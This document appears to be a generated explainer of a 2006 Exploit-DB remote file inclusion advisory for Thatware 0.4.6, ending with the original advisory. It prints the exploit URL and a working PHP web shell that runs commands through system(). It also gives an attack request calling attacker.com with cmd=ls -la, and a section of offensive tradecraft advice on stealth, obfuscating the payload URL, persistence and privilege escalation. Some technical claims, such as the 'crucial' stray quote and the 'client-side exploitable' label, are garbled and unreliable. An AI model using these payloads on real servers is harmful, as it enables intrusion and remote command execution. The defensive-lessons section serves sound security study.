Thatware 0.4.6 'ROOT_PATH' Remote File Inclusion Explained

What this paper is

This paper details a Remote File Inclusion (RFI) vulnerability in the Thatware web application, version 0.4.6. The vulnerability allows an attacker to include and execute arbitrary PHP files from a remote server by manipulating the root_path parameter in the config.php file.

Simple technical breakdown

Web applications often use configuration files to store settings. In Thatware 0.4.6, the config.php file has a setting called root_path. This setting is supposed to point to the application's root directory on the server. However, the application doesn't properly sanitize user input for this root_path parameter.

An attacker can provide a URL to a malicious PHP file hosted on their own server as the value for root_path. When config.php processes this input, it might inadvertently fetch and execute the remote PHP file, effectively giving the attacker control over the web server.

Complete code and payload walkthrough

The provided exploit snippet is very concise, focusing on the exploit vector rather than providing the full Thatware source code. The core of the exploit lies in how the root_path parameter is used within config.php.

Exploit Snippet:

http://server/dir_thatware/config.php?root_path=http://server/shell.php'

Explanation of the Exploit Snippet:

• http://server/dir_thatware/config.php: This is the target URL, pointing to the vulnerable config.php script within the Thatware application.
• ?root_path=: This indicates that we are passing a parameter named root_path to the script.
• http://server/shell.php: This is the attacker-controlled URL. It points to a PHP file (e.g., shell.php) hosted on the attacker's server. This shell.php file would typically contain malicious PHP code, such as a web shell.
• ': This single quote is crucial. It's likely intended to break out of a string context within the vulnerable PHP code where root_path is used, allowing the subsequent URL to be interpreted as a separate command or include directive.

Mapping:

• http://server/dir_thatware/config.php: Target vulnerable script.
• root_path: The vulnerable parameter.
• http://server/shell.php': The malicious payload URI.

Unknowns:

The exact PHP code within config.php that processes the root_path parameter is not provided in the paper. However, based on the exploit, it's highly probable that the code looks something like this (hypothetical, for illustration):

<?php
// ... other config settings ...
$root_path = $_GET['root_path']; // Vulnerable line: directly uses user input
// ... code that uses $root_path, potentially with include() or require() ...
// For example:
// include($root_path . '/some_file.php');
// Or even more directly:
// include($root_path);
?>

If the code directly uses $root_path with include() or require(), and the single quote allows it to escape a string, the remote file will be executed.

Shellcode/Payload Segment:

The "payload" in this RFI exploit is the content of the remote file (shell.php). A common payload for such an exploit is a simple web shell, which allows an attacker to execute commands on the server.

Example shell.php (Attacker's Server):

<?php
// Basic web shell
if(isset($_GET['cmd'])){
    echo "<pre>";
    $cmd = ($_GET['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

Explanation of shell.php:

• if(isset($_GET['cmd'])): Checks if a GET parameter named cmd is present in the request.
• $cmd = ($_GET['cmd']);: Retrieves the command to be executed from the cmd parameter.
• system($cmd);: Executes the command on the server's operating system.
• echo "<pre>"; ... echo "</pre>";: Formats the output for better readability in a web browser.

When this shell.php is included by the vulnerable Thatware application, the attacker can then send requests like:
http://server/dir_thatware/config.php?root_path=http://attacker.com/shell.php&cmd=ls -la
This would cause the Thatware application to fetch shell.php from the attacker's server and execute the ls -la command on the Thatware server.

Practical details for offensive operations teams

• Required Access Level: Typically requires anonymous or low-privileged access to the web application. The vulnerability is client-side exploitable via HTTP requests.
• Lab Preconditions:
  • A target web server running Thatware 0.4.6 (or a similarly vulnerable version).
  • A separate server controlled by the operator to host the malicious PHP payload (e.g., shell.php).
  • Network connectivity between the target server and the operator's payload server.
  • The target web server must be configured to allow outgoing HTTP connections to external servers.
• Tooling Assumptions:
  • A web browser for initial reconnaissance and manual testing.
  • An HTTP proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify requests.
  • A simple HTTP server (e.g., Python's http.server, netcat) to host the malicious payload.
  • A command-line interface on the operator's payload server for managing the shell.
• Execution Pitfalls:
  • Firewall/Network Restrictions: The target server might block outgoing HTTP requests to arbitrary external IPs.
  • Input Sanitization/WAF: A Web Application Firewall (WAF) or stricter input validation on the target could detect and block the malicious root_path parameter or the payload URL.
  • PHP Configuration: The target server's PHP configuration might disable allow_url_fopen or allow_url_include, which are necessary for RFI to work.
  • Incorrect root_path Usage: If the vulnerable code doesn't actually use include() or require() with the root_path variable, or if the string escaping isn't handled as expected, the exploit might fail.
  • Payload Server Availability: The attacker's payload server must be online and accessible when the target requests the file.
• Tradecraft Considerations:
  • Stealth: Using a well-known, reputable domain for the payload server can sometimes evade basic detection. Obfuscating the payload URL might also be considered.
  • Payload Choice: A simple web shell is common, but more advanced payloads could be used for specific objectives (e.g., downloading and executing further malware).
  • Post-Exploitation: Once a shell is established, the operator needs to maintain persistence and escalate privileges if necessary.

Where this was used and when

This exploit targets Thatware 0.4.6, which was released around 2006. Remote File Inclusion (RFI) vulnerabilities were a prevalent class of web application vulnerabilities in the mid-2000s. Exploits like this were commonly found and weaponized by security researchers and malicious actors during that period. It's likely this specific vulnerability was exploited in the wild shortly after its discovery and publication in 2006.

Defensive lessons for modern teams

• Input Validation is Paramount: Never trust user input. Always validate and sanitize all data received from external sources, especially parameters used in file operations or dynamic code execution.
• Secure Configuration: Ensure allow_url_fopen and allow_url_include are disabled in PHP configurations unless absolutely necessary for legitimate functionality, and even then, implement strict controls.
• Web Application Firewalls (WAFs): Deploy and maintain WAFs that are configured to detect and block common RFI patterns and malicious URL structures.
• Regular Patching and Updates: Keep all web applications and their dependencies updated to the latest secure versions to patch known vulnerabilities.
• Least Privilege: Run web applications with the minimum necessary privileges to limit the impact of a successful compromise.
• Network Segmentation and Egress Filtering: Restrict outbound network connections from web servers to only necessary destinations. This can prevent a compromised server from fetching payloads from attacker-controlled infrastructure.

ASCII visual (if applicable)

+-----------------+     +-----------------------+     +-----------------+
| Attacker Server | --> | Target Web Server     | --> | Attacker Server |
| (Hosts shell.php) |     | (Thatware 0.4.6)      |     | (Receives cmd)  |
+-----------------+     +-----------------------+     +-----------------+
        ^                       |
        |                       | HTTP Request (GET)
        |                       | root_path=http://attacker.com/shell.php'
        |                       |
        |                       | HTTP Request (GET)
        |                       | cmd=... (from shell.php)
        |                       |
        +-----------------------+
          HTTP Response (shell.php content)
          and command output

Explanation:

1. The attacker's server hosts a malicious PHP file (shell.php).
2. The attacker sends an HTTP request to the target web server, exploiting the config.php script with the root_path parameter pointing to their shell.php.
3. The vulnerable Thatware application on the target server fetches shell.php from the attacker's server.
4. The shell.php code is executed on the target server.
5. The attacker can then send further requests to the target web server, which are processed by the included shell.php to execute commands.

Source references

• PAPER ID: 2166
• PAPER TITLE: Thatware 0.4.6 - 'ROOT_PATH' Remote File Inclusion
• AUTHOR: Drago84
• PUBLISHED: 2006-08-10
• PAPER URL: https://www.exploit-db.com/papers/2166
• RAW URL: https://www.exploit-db.com/raw/2166
• Source Code Link (from paper): http://ufpr.dl.sourceforge.net/sourceforge/thatware/thatware_0.4.6.tar.gz

Original Exploit-DB Content (Verbatim)

Thatware  0.4.6 (root_path) Remote File Inclusion

CreW: ToXiC

Bug Found by Drago84

Source Code:
http://ufpr.dl.sourceforge.net/sourceforge/thatware/thatware_0.4.6.tar.gz

Page Affect
config.php

ExP:
http://server/dir_thatware/config.php?root_path=http://server/shell.php'

Greatz: str0ke

# milw0rm.com [2006-08-10]